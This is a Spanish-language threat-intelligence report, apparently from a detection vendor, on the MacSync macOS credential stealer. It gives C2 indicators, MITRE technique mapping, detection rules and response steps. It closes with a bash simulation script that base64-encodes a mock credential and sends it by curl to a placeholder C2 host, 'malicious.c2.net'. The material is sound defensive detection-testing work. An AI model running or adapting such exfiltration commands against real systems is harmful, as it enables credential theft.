MacSync Stealer usa infraestructura C2 rotativa
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
MacSync Stealer es un malware de macOS que roba información y se ofrece a través de un modelo de malware-como-servicio. Se basa en un zsh cargador de múltiples etapas que se conecta a un grupo rotativo de dominios de mando y control para exfiltrar información robada, incluyendo contraseñas y credenciales de billeteras de criptomonedas. El cargador transmite contraseñas en texto claro a través de un parámetro de cadena de consulta y sube un archivo ZIP de los datos recopilados en fragmentos de 10 MiB. Su estrategia de rotación de infraestructuras depende de una clave API estática reutilizada en varios dominios junto con un token hexadecimal por compilación.
Investigación
RST Cloud detectó un intento de descarga desde el dominio recién registrado jacksonvillemma.com y capturó el cargador de la Etapa 2 zsh dentro de una hora. El análisis estático expuso el token del cargador, la clave API y la trilogía de rutas de mando y control: /curl, /dynamic, y /gate. Pivotando adicionalmente basándose en esos patrones de URI, se reveló un cluster de aproximadamente doce dominios de mando y control sospechosos activos entre febrero y mayo de 2026. Cuatro de esos dominios se confirmaron como compartiéndo la misma clave API, mientras que los otros se vincularon solo a través del comportamiento coincidente de URI.
Mitigación
Los defensores deben bloquear todos los dominios de mando y control de MacSync conocidos y monitorear los patrones de ruta de URL distintivos utilizados por el malware. Se deben revisar los registros de Proxy y DNS en busca de solicitudes que contengan /curl, /dynamic, y /gate, así como por la cadena de agente de usuario de macOS abreviada similar a Chrome vinculada al cargador. Los equipos de seguridad también deben detectar la creación de /tmp/osalogging.zip y observar los zsh procesos que ejecutan base64 -D, gunzip, y eval en combinación.
Respuesta
Si se encuentra un indicador coincidente, aísle inmediatamente el endpoint afectado, termine el zsh proceso malicioso, y recoja memoria para el análisis de cualquier carga útil de AppleScript. Restablezca las contraseñas de usuario expuestas e invalide las credenciales comprometidas almacenadas en el llavero de macOS. La lógica de detección también debe actualizarse con el token observado, la clave API y los patrones de agente de usuario para reducir el riesgo de compromisos futuros.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#cccccc classDef process fill:#ccffcc %% Nodes initial_access_phishing["<b>Technique</b> – T1566 Phishing<br/><b>Description</b>: Malvertising delivers a script that runs curl to fetch the Stageu202f2 Zsh loader from a C2 domain."] class initial_access_phishing action tool_curl["<b>Tool</b> – curl<br/><b>Description</b>: Commandu2011line utility used to download the Stageu202f2 loader."] class tool_curl tool defense_obfuscate_compile["<b>Technique</b> – T1027.004 Compile After Delivery<br/><b>Description</b>: Zsh wrapper contains a base64u2011gzip payload that is decoded and executed with eval."] class defense_obfuscate_compile action defense_embedded_payload["<b>Technique</b> – T1027.009 Embedded Payloads<br/><b>Description</b>: Payload is embedded as a base64u2011encoded, gzipu2011compressed blob inside the wrapper."] class defense_embedded_payload action defense_stripped_payload["<b>Technique</b> – T1027.008 Stripped Payloads<br/><b>Description</b>: Wrapper is stripped of identifiable strings, relying on runtime decoding."] class defense_stripped_payload action defense_dynamic_api["<b>Technique</b> – T1027.007 Dynamic API Resolution<br/><b>Description</b>: HTTP requests include a static apiu2011key header and a custom truncated Useru2011Agent."] class defense_dynamic_api action execution_shared_modules["<b>Technique</b> – T1129 Shared Modules<br/><b>Description</b>: Decoded script is executed as a background Zsh function via eval."] class execution_shared_modules action process_zsh["<b>Process</b> – Zsh<br/><b>Description</b>: Shell used to run the decoded malicious function."] class process_zsh process cred_os_dumping["<b>Technique</b> – T1003 OS Credential Dumping<br/><b>Description</b>: AppleScript retrieved from C2 extracts macOS Keychain entries."] class cred_os_dumping action cred_browser["<b>Technique</b> – T1555.003 Credentials from Web Browsers<br/><b>Description</b>: Same AppleScript harvests stored credentials from Chromium browsers and cryptou2011wallet extensions."] class cred_browser action cred_unsecured_files["<b>Technique</b> – T1552.001 Unsecured Credentials in Files<br/><b>Description</b>: Harvested data written to /tmp/osalogging.zip before exfiltration."] class cred_unsecured_files action file_archive["<b>File</b> – /tmp/osalogging.zip<br/><b>Description</b>: Zip archive containing collected credentials."] class file_archive file collection_archive["<b>Technique</b> – T1560 Archive Collected Data<br/><b>Description</b>: Data compressed into a zip archive for staging."] class collection_archive action command_control_dynamic["<b>Technique</b> – T1568 Dynamic Resolution<br/><b>Description</b>: Malware contacts C2 using HTTP paths discovered via pattern matching."] class command_control_dynamic action cred_valid_accounts["<b>Technique</b> – T1078 Valid Accounts<br/><b>Description</b>: User macOS password sent in cleartext via u201c&pwd=u201d query parameter, giving attacker legitimate credentials."] class cred_valid_accounts action %% Connections initial_access_phishing –>|uses| tool_curl tool_curl –>|delivers| defense_obfuscate_compile defense_obfuscate_compile –>|includes| defense_embedded_payload defense_embedded_payload –>|includes| defense_stripped_payload defense_stripped_payload –>|uses| defense_dynamic_api defense_dynamic_api –>|enables| execution_shared_modules execution_shared_modules –>|executes| process_zsh process_zsh –>|runs| cred_os_dumping cred_os_dumping –>|runs| cred_browser cred_browser –>|writes to| cred_unsecured_files cred_unsecured_files –>|creates| file_archive file_archive –>|used by| collection_archive collection_archive –>|sent to| command_control_dynamic command_control_dynamic –>|provides| cred_valid_accounts "
Flujo de Ataque
Detecciones
Posible Manipulación de Cadenas Codificadas en Base64 [MacOS] (vía cmdline)
Ver
Intento de Ejecución Sospechoso de Curl [MacOS] (vía cmdline)
Ver
Se Creó un Archivo en la Carpeta Temporal de MacOS (vía file_event)
Ver
IOC (HashSha256) para detectar: MacSync Stealer: Rotación de Infraestructura C2
Ver
IOCs (HashSha1) para detectar: MacSync Stealer: Rotación de Infraestructura C2
Ver
IOCs (HashMd5) para detectar: MacSync Stealer: Rotación de Infraestructura C2
Ver
Detección de Comunicación C2 de MacSync Stealer [Proxy]
Ver
Ejecución de Simulación
Requisito previo: La Verificación de Telemetría y Línea de Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTP identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un adversario ha desplegado el binario MacSync stealer en una estación de trabajo macOS comprometida. El stealer extrae la contraseña del llavero de macOS del usuario actual, la codifica en base64 y la exfiltra a través de una solicitud HTTP GET a través del proxy corporativo. La solicitud se dirige al endpoint C2 conocidohttps://malicious.c2.net/dynamic?txd=<payload>. Debido a que el proxy guarda registros de URLs completas, la regla de detección verá eldynamic?txd=subcadena y levantará una alerta. -
Script de Prueba de Regresión:
#!/bin/bash # macsync_stealer_simulation.sh # Simula la comunicación C2 de MacSync stealer para activar la regla de detección. PROXY="http://proxy.corp.local:3128" C2_BASE="https://malicious.c2.net/dynamic?txd=" # 1️⃣ Extraer una contraseña simulada (para propósitos de demostración use el nombre del usuario actual) PASSWORD="$(whoami):P@ssw0rd!" # 2️⃣ Codificar las credenciales en base64 (emula el paso de codificación de MacSync) ENCODED=$(printf "%s" "$PASSWORD" | base64) # 3️⃣ Construir la URL maliciosa completa MALICIOUS_URL="${C2_BASE}${ENCODED}" # 4️⃣ Enviar la solicitud a través del proxy corporativo curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" echo "Simulación ejecutada – payload enviado a $MALICIOUS_URL" -
Comandos de Limpieza:
# Elimine cualquier archivo temporal (ninguno creado) y opcionalmente purgue la caché del proxy echo "Limpiando artefactos de simulación..." # Si usa Squid, purgue la URL de la caché para evitar hits repetidos sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"